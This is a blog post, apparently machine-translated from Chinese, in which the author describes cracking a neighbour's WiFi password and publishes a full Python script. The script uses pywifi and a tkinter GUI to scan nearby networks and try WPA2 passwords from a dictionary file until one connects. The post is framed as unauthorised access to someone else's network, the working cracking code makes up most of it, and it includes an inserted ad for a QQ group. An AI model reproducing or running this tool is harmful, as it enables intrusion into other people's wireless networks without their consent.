Last night, I wrote a Python code to break the wifi password of my sister next door

 

Last night, my family stopped the Internet. For Minoan, the Internet stopped. Can you bear it? Call to repair the network, said it's too late, it will take the next day to come over

 

Many people study python and don't know where to start.
Many people learn python, master the basic syntax, do not know where to find cases to start.
Many people who have already done cases do not know how to learn more advanced knowledge.
Then for these three types of people, I will provide you with a good learning platform, free access to video tutorials, e-books, and the source code of the course!
QQ group: 1097524789

All of a sudden, I found that the wifi signal of the next sister's paper was full. Wow, it made me have a bad idea to see if there was any way to get off the net. First of all, I used the universal key. It didn't work~~~

 

Then I can only use the dictionary to run the password. This small function must be completed by python. After searching, I found that the pywifi component just meets the requirements.

 

Let's record my operation.

 

#Introduction

Python's rich third-party libraries naturally include wifi API s, which can be easily connected. If you have a detailed codebook, you can realize the violent cracking of wifi password, provided you have enough patience and time to wait.

 

#Thinking

 

For the given wifi name, we use the password repeatedly to try one by one. If it fails, we will disconnect until the connection is successful.

 

That is to say, import the required third-party library (please download and install it yourself), call the network card interface through pywifi, test in turn, and try to connect by reading the password circularly. Here you only need to change the password file path and wifi name.

 

#Environmental preparation

 

  • python2.7
  • pywifi module
  • Dictionaries

 

#Import module

from pywifi import *

 

#Dictionary preparation

 

Random wifi weak password top 10. One line contains only one set of passwords, and the script reads each line in turn until the correct password is found.

 

 

#Full code

 

# coding:utf-8

from tkinter import *
from tkinter import ttk  
import pywifi
from pywifi import const
import time
import tkinter.filedialog
import tkinter.messagebox

class MY_GUI():
  def __init__(self,init_window_name):
    self.init_window_name = init_window_name

    #Password file path
    self.get_value = StringVar()

    #Get cracking wifi account number
    self.get_wifi_value = StringVar()

    #obtain wifi password
    self.get_wifimm_value = StringVar()

    self.wifi = pywifi.PyWiFi()  #Grabbing network interface
    self.iface = self.wifi.interfaces()[0] #Grab the first wireless card
    self.iface.disconnect()  #Test links disconnect all links
    time.sleep(1)  #Sleep for 1 second
    #Test whether the network card is disconnected
    assert self.iface.status() in\
        [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

  def __str__(self):
    return '(WIFI:%s,%s)' % (self.wifi,self.iface.name())

  #Settings window
  def set_init_window(self):
    self.init_window_name.title("WIFI Crack tools")
    self.init_window_name.geometry('+500+200')

    labelframe = LabelFrame(width=400, height=200,text="to configure")
    labelframe.grid(column=0, row=0, padx=10, pady=10)

    self.search = Button(labelframe,text="Search nearby WiFi",command=self.scans_wifi_list).grid(column=0,row=0)

    self.pojie = Button(labelframe,text="Start cracking",command=self.readPassWord).grid(column=1,row=0)

    self.label = Label(labelframe,text="Directory path:").grid(column=0,row=1)

    self.path = Entry(labelframe,width=12,textvariable = self.get_value).grid(column=1,row=1)

    self.file = Button(labelframe,text="Add password file directory",command=self.add_mm_file).grid(column=2,row=1)

    self.wifi_text = Label(labelframe,text="WiFi account number:").grid(column=0,row=2)

    self.wifi_input = Entry(labelframe,width=12,textvariable = self.get_wifi_value).grid(column=1,row=2)

    self.wifi_mm_text = Label(labelframe,text="WiFi password:").grid(column=2,row=2)

    self.wifi_mm_input = Entry(labelframe,width=10,textvariable = self.get_wifimm_value).grid(column=3,row=2,sticky=W)

    self.wifi_labelframe = LabelFrame(text="wifi list")
    self.wifi_labelframe.grid(column=0, row=3,columnspan=4,sticky=NSEW)


    # Define tree structure and scroll bar
    self.wifi_tree = ttk.Treeview(self.wifi_labelframe,show="headings",columns=("a", "b", "c", "d"))    
    self.vbar = ttk.Scrollbar(self.wifi_labelframe, orient=VERTICAL, command=self.wifi_tree.yview)       
    self.wifi_tree.configure(yscrollcommand=self.vbar.set)

    # Table title
    self.wifi_tree.column("a", width=50, anchor="center")
    self.wifi_tree.column("b", width=100, anchor="center")
    self.wifi_tree.column("c", width=100, anchor="center")
    self.wifi_tree.column("d", width=100, anchor="center")

    self.wifi_tree.heading("a", text="WiFiID")
    self.wifi_tree.heading("b", text="SSID")
    self.wifi_tree.heading("c", text="BSSID")
    self.wifi_tree.heading("d", text="signal")

    self.wifi_tree.grid(row=4,column=0,sticky=NSEW)
    self.wifi_tree.bind("<Double-1>",self.onDBClick)
    self.vbar.grid(row=4,column=1,sticky=NS)

  #search wifi
  #cmd /k C:\Python27\python.exe "$(FULL_CURRENT_PATH)" & PAUSE & EXIT
  def scans_wifi_list(self):  # Scan around wifi list
    #Start scan
    print("^_^ Start scanning nearby wifi...")
    self.iface.scan()
    time.sleep(15)
    #Get scan results in seconds
    scanres = self.iface.scan_results()
    #Count the number of hot spots found nearby
    nums = len(scanres)
    print("number: %s"%(nums))
    #print ("| %s |  %s |  %s | %s"%("WIFIID","SSID","BSSID","signal"))
    # Actual data
    self.show_scans_wifi_list(scanres)
    return scanres

  #display wifi list
  def show_scans_wifi_list(self,scans_res):
    for index,wifi_info in enumerate(scans_res):
            # print("%-*s| %s | %*s |%*s\n"%(20,index,wifi_info.ssid,wifi_info.bssid,,wifi_info.signal))
      self.wifi_tree.insert("",'end',values=(index + 1,wifi_info.ssid,wifi_info.bssid,wifi_info.signal))
      #print("| %s | %s | %s | %s \n"%(index,wifi_info.ssid,wifi_info.bssid,wifi_info.signal))

  #Add password file directory
  def add_mm_file(self):
    self.filename = tkinter.filedialog.askopenfilename()
    self.get_value.set(self.filename)

  #Treeview Binding event
  def onDBClick(self,event):
    self.sels= event.widget.selection()
    self.get_wifi_value.set(self.wifi_tree.item(self.sels,"values")[1])
    #print("you clicked on",self.wifi_tree.item(self.sels,"values")[1])

  #Read password dictionary to match
  def readPassWord(self):
    self.getFilePath = self.get_value.get()
    #print("File path:%s\n" %(self.getFilePath))
    self.get_wifissid = self.get_wifi_value.get()
    #print("ssid: %s\n" %(self.get_wifissid))
    self.pwdfilehander=open(self.getFilePath,"r",errors="ignore")
    while True:
        try:
          self.pwdStr =self.pwdfilehander.readline()
          #print("password: %s " %(self.pwdStr))
          if not self.pwdStr:
            break
          self.bool1=self.connect(self.pwdStr,self.get_wifissid)
          #print("Return value:%s\n" %(self.bool1) )
          if self.bool1:
            # print("Correct password:"+pwdStr
            # res = "password:%s correct \n"%self.pwdStr;
            self.res = "===correct===  wifi name:%s  Match password:%s "%(self.get_wifissid,self.pwdStr)
            self.get_wifimm_value.set(self.pwdStr)
            tkinter.messagebox.showinfo('Tips', 'Crack successfully!!!')
            print(self.res)
            break
          else:
            # print("password:"+self.pwdStr+"error")
            self.res = "---error--- wifi name:%s Match password:%s"%(self.get_wifissid,self.pwdStr)
            print(self.res)
          sleep(3)
        except:
          continue

  #Yes wifi Match password
  def connect(self,pwd_Str,wifi_ssid):
    #establish wifi Linked files
    self.profile = pywifi.Profile()
    self.profile.ssid =wifi_ssid #wifi name
    self.profile.auth = const.AUTH_ALG_OPEN  #The opening of network card
    self.profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi encryption algorithm
    self.profile.cipher = const.CIPHER_TYPE_CCMP    #Encryption unit
    self.profile.key = pwd_Str #password
    self.iface.remove_all_network_profiles() #Delete all wifi file
    self.tmp_profile = self.iface.add_network_profile(self.profile)#Set a new linked file
    self.iface.connect(self.tmp_profile)#link
    time.sleep(5)
    if self.iface.status() == const.IFACE_CONNECTED:  #Determine whether to connect
      isOK=True   
    else:
      isOK=False
    self.iface.disconnect() #to break off
    time.sleep(1)
    #Check disconnection status
    assert self.iface.status() in\
        [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
    return isOK

def gui_start():
  init_window = Tk()
  ui = MY_GUI(init_window)
  print(ui)
  ui.set_init_window()
  #ui.scans_wifi_list()

  init_window.mainloop()

gui_start()

 

#Results

 

The running result is as shown in the figure below. You can start running according to the operation of the graphic interface.

 

 

Did you get it?

 

Tags: Python network

Posted on Mon, 18 May 2020 00:15:27 -0700 by Zanus